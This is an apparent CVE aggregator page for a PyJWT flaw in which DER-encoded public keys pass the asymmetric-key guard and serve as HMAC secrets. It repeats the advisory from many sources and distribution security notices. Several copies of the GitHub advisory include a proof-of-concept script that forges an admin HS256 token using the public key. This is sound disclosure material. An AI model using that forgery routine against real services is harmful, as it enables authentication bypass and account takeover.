Every CVE Search/ Get API key

CVE-2026-102271

PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard

7.4 HighFix available

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.21%Unchanged since Sep 29, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.4

PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.

Record
CVE-2026-102271
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-347
Updated
2026-11-02
EUVDEUVD-2026-88539 7.4

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.

Record
EUVD-2026-88539
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-p4g4-x82p-q773 7.4

PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard

Summary

HMACAlgorithm.prepare_key blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.

An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.

The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.

Details

The guard is at jwt/algorithms.py:331:

if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

Both helpers are text matchers. Neither one parses the key.

  • jwt/utils.py:126, is_pem_format, runs a regex for ----[- ]BEGIN ...----.
  • jwt/utils.py:141, is_ssh_key, checks startswith against a list of ssh- and ecdsa-sha2- prefixes.

A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so prepare_key returns it unchanged and it becomes the HMAC secret.

There is no DER handling anywhere in the package. grep -rni "\bDER\b|load_der" jwt/ tests/ returns nothing.

This affects three encodings that are all blocked in their PEM form today:

  • DER SubjectPublicKeyInfo
  • DER PKCS#1
  • DER encoded X.509 certificate

History of this guard:

  • Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.
  • Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.
  • DER has never been covered.

Applications that use PyJWK or PyJWKClient are not affected. jwt/api_jws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.prepare_key on that path.

Suggested fix: try to parse the bytes as a key and reject if parsing works. For example load_der_public_key, load_der_private_key and load_der_x509_certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.

PoC

Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.

pip install "pyjwt==2.13.0" cryptography
python poc.py

No special configuration is needed. The script builds its own key.

import base64
import hashlib
import hmac
import json

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()
pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)
der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)


def b64(raw):
    return base64.urlsafe_b64encode(raw).rstrip(b"=")


def forge(secret):
    # The attacker does not use PyJWT. They only need the public key bytes.
    head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
    body = b64(json.dumps({"user": "admin", "role": "admin"}).encode())
    signing_input = head + b"." + body
    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
    return (signing_input + b"." + b64(sig)).decode()


# PEM form is rejected, as expected since CVE-2022-29217.
try:
    jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"])
except jwt.exceptions.InvalidKeyError as exc:
    print("PEM rejected:", exc)

# Same key, DER form. The…
Record
GHSA-p4g4-x82p-q773
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-347
Updated
2026-11-02
NVD 7.4

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.

Record
CVE-2026-102271
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-347
Updated
2026-11-02
OSVBELL-CVE-2026-102271 7.4
Record
BELL-CVE-2026-102271
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-07
OSV 7.4

PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.

Record
CVE-2026-102271
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-347
Updated
2026-11-04
Show 26 moreShow less
OSVDEBIAN-CVE-2026-102271 7.4

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.

Record
DEBIAN-CVE-2026-102271
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVGHSA-p4g4-x82p-q773 7.4

PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard

Summary

HMACAlgorithm.prepare_key blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.

An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.

The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.

Details

The guard is at jwt/algorithms.py:331:

if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

Both helpers are text matchers. Neither one parses the key.

  • jwt/utils.py:126, is_pem_format, runs a regex for ----[- ]BEGIN ...----.
  • jwt/utils.py:141, is_ssh_key, checks startswith against a list of ssh- and ecdsa-sha2- prefixes.

A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so prepare_key returns it unchanged and it becomes the HMAC secret.

There is no DER handling anywhere in the package. grep -rni "\bDER\b|load_der" jwt/ tests/ returns nothing.

This affects three encodings that are all blocked in their PEM form today:

  • DER SubjectPublicKeyInfo
  • DER PKCS#1
  • DER encoded X.509 certificate

History of this guard:

  • Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.
  • Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.
  • DER has never been covered.

Applications that use PyJWK or PyJWKClient are not affected. jwt/api_jws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.prepare_key on that path.

Suggested fix: try to parse the bytes as a key and reject if parsing works. For example load_der_public_key, load_der_private_key and load_der_x509_certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.

PoC

Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.

pip install "pyjwt==2.13.0" cryptography
python poc.py

No special configuration is needed. The script builds its own key.

import base64
import hashlib
import hmac
import json

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()
pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)
der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)


def b64(raw):
    return base64.urlsafe_b64encode(raw).rstrip(b"=")


def forge(secret):
    # The attacker does not use PyJWT. They only need the public key bytes.
    head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
    body = b64(json.dumps({"user": "admin", "role": "admin"}).encode())
    signing_input = head + b"." + body
    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
    return (signing_input + b"." + b64(sig)).decode()


# PEM form is rejected, as expected since CVE-2022-29217.
try:
    jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"])
except jwt.exceptions.InvalidKeyError as exc:
    print("PEM rejected:", exc)

# Same key, DER form. The…
Record
GHSA-p4g4-x82p-q773
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness
CWE-347
Updated
2026-11-02
OSVOESA-2026-4384 9.1

python-jwt security update

setup.py test %endif

Security Fix(es):

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)

Record
OESA-2026-4384
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVOESA-2026-4385 9.1

python-jwt security update

setup.py test %endif

Security Fix(es):

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)

Record
OESA-2026-4385
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVOESA-2026-4386 9.1

python-jwt security update

setup.py test %endif

Security Fix(es):

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)

Record
OESA-2026-4386
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVOESA-2026-4387 9.1

python-jwt security update

setup.py test %endif

Security Fix(es):

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.(CVE-2026-102267)

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, is_pem_format in jwt/utils.py is affected because is_pem_format does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.prepare_key treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102268)

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.(CVE-2026-102271)

Record
OESA-2026-4387
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVPYSEC-2026-4149 7.4

PyJWT: Public keys in DER form are accepted as HMAC secrets, bypassing the CVE-2022-29217 guard

Summary

HMACAlgorithm.prepare_key blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.

An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.

The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.

Details

The guard is at jwt/algorithms.py:331:

if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

Both helpers are text matchers. Neither one parses the key.

  • jwt/utils.py:126, is_pem_format, runs a regex for ----[- ]BEGIN ...----.
  • jwt/utils.py:141, is_ssh_key, checks startswith against a list of ssh- and ecdsa-sha2- prefixes.

A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so prepare_key returns it unchanged and it becomes the HMAC secret.

There is no DER handling anywhere in the package. grep -rni "\bDER\b|load_der" jwt/ tests/ returns nothing.

This affects three encodings that are all blocked in their PEM form today:

  • DER SubjectPublicKeyInfo
  • DER PKCS#1
  • DER encoded X.509 certificate

History of this guard:

  • Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH.
  • Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents.
  • DER has never been covered.

Applications that use PyJWK or PyJWKClient are not affected. jwt/api_jws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.prepare_key on that path.

Suggested fix: try to parse the bytes as a key and reject if parsing works. For example load_der_public_key, load_der_private_key and load_der_x509_certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.

PoC

Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.

pip install "pyjwt==2.13.0" cryptography
python poc.py

No special configuration is needed. The script builds its own key.

import base64
import hashlib
import hmac
import json

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

pub = rsa.generate_private_key(public_exponent=65537, key_size=2048).public_key()
pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)
der = pub.public_bytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo)
der_pkcs1 = pub.public_bytes(Encoding.DER, PublicFormat.PKCS1)


def b64(raw):
    return base64.urlsafe_b64encode(raw).rstrip(b"=")


def forge(secret):
    # The attacker does not use PyJWT. They only need the public key bytes.
    head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
    body = b64(json.dumps({"user": "admin", "role": "admin"}).encode())
    signing_input = head + b"." + body
    sig = hmac.new(secret, signing_input, hashlib.sha256).digest()
    return (signing_input + b"." + b64(sig)).decode()


# PEM form is rejected, as expected since CVE-2022-29217.
try:
    jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"])
except jwt.exceptions.InvalidKeyError as exc:
    print("PEM rejected:", exc)

# Same key, DER form. The…
Record
PYSEC-2026-4149
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVRLSA-2026:94500 9.1

Critical: fence-agents security update

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

  • pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)

  • pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)

  • pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)

  • pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)

  • pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:94500
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-04
OSVRLSA-2026:94501 9.1

Critical: fence-agents security update

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

  • pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)

  • pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)

  • pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)

  • pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)

  • pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
RLSA-2026:94501
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-04
OSVUBUNTU-CVE-2026-102271 7.4

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.

Record
UBUNTU-CVE-2026-102271
CVSS 3.1
7.4 HighCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Updated
2026-11-02
OSVALSA-2026:94500 No score

Critical: fence-agents security update

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

  • pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)
  • pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)
  • pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)
  • pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)
  • pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:94500
Updated
2026-11-04
OSVALSA-2026:94501 No score

Critical: fence-agents security update

The fence-agents packages provide a collection of scripts for handling remote power management for cluster devices. They allow failed or unreachable nodes to be forcibly restarted and removed from the cluster.

Security Fix(es):

  • pyjwt: pyjwt: Authentication bypass via empty HMAC key acceptance (CVE-2026-102266)
  • pyjwt: PyJWT: Authentication bypass via improper public key validation (CVE-2026-102268)
  • pyjwt: PyJWT: Authentication bypass via acceptance of DER public keys as HMAC secrets (CVE-2026-102271)
  • pyjwt: pyjwt: Verification key substitution via unvalidated JWKS redirects (CVE-2026-102267)
  • pyjwt: pyjwt: Token forgery via improper Unicode byte-order mark handling (CVE-2026-102272)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Record
ALSA-2026:94501
Updated
2026-11-04
OSVAZL-105221 No score

CVE-2026-102271 affecting package python-jwt for versions less than 2.15.1-1

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.prepare_key is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.

Record
AZL-105221
Updated
2026-11-02
OSVCLSA-2026-1790839846 No score

TuxCare security update for pyjwt (6 CVEs)

TuxCare rebuilt pyjwt to address 6 CVEs. Fixed in 2.10.1.post5+tuxcare.

Record
CLSA-2026-1790839846
Updated
2026-11-02
OSVCLSA-2026-1790843991 No score

TuxCare security update for pyjwt (6 CVEs)

TuxCare rebuilt pyjwt to address 6 CVEs. Fixed in 2.8.0.post4+tuxcare.

Record
CLSA-2026-1790843991
Updated
2026-11-02
OSVCLSA-2026-1793607290 No score

TuxCare security update for pyjwt (2 CVEs)

TuxCare rebuilt pyjwt to address 2 CVEs. Fixed in 2.3.0.post5+tuxcare.

Record
CLSA-2026-1793607290
Updated
2026-11-02
OSVCLSA-2026-1793700313 No score

TuxCare security update for pyjwt (1 CVE)

TuxCare rebuilt pyjwt to address 1 CVE. Fixed in 1.7.1.post5+tuxcare.

Record
CLSA-2026-1793700313
Updated
2026-11-03
OSVopenSUSE-SU-2026:22074-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues:

  • CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
  • CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
  • CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
  • CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
  • CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
  • CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
  • CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
  • CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
  • CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
  • CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).
Record
openSUSE-SU-2026:22074-1
Updated
2026-11-02
OSVROOT-APP-PYPI-CVE-2026-102271 No score

CVE-2026-102271 in pyjwt - Patched by Root

Root has patched CVE-2026-102271 in the pyjwt package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-CVE-2026-102271
Updated
2026-11-02
OSVSUSE-SU-2026:24126-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues:

  • CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
  • CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
  • CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
  • CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
  • CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
  • CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
  • CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).
  • CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).
  • CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key (bsc#1283072).
  • CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls (bsc#1283829).
Record
SUSE-SU-2026:24126-1
Updated
2026-11-02
OSVSUSE-SU-2026:24134-1 No score

Security update for python-PyJWT

This update for python-PyJWT fixes the following issues:

  • CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).
  • CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).
  • CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).
  • CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).
  • CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).
  • CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).
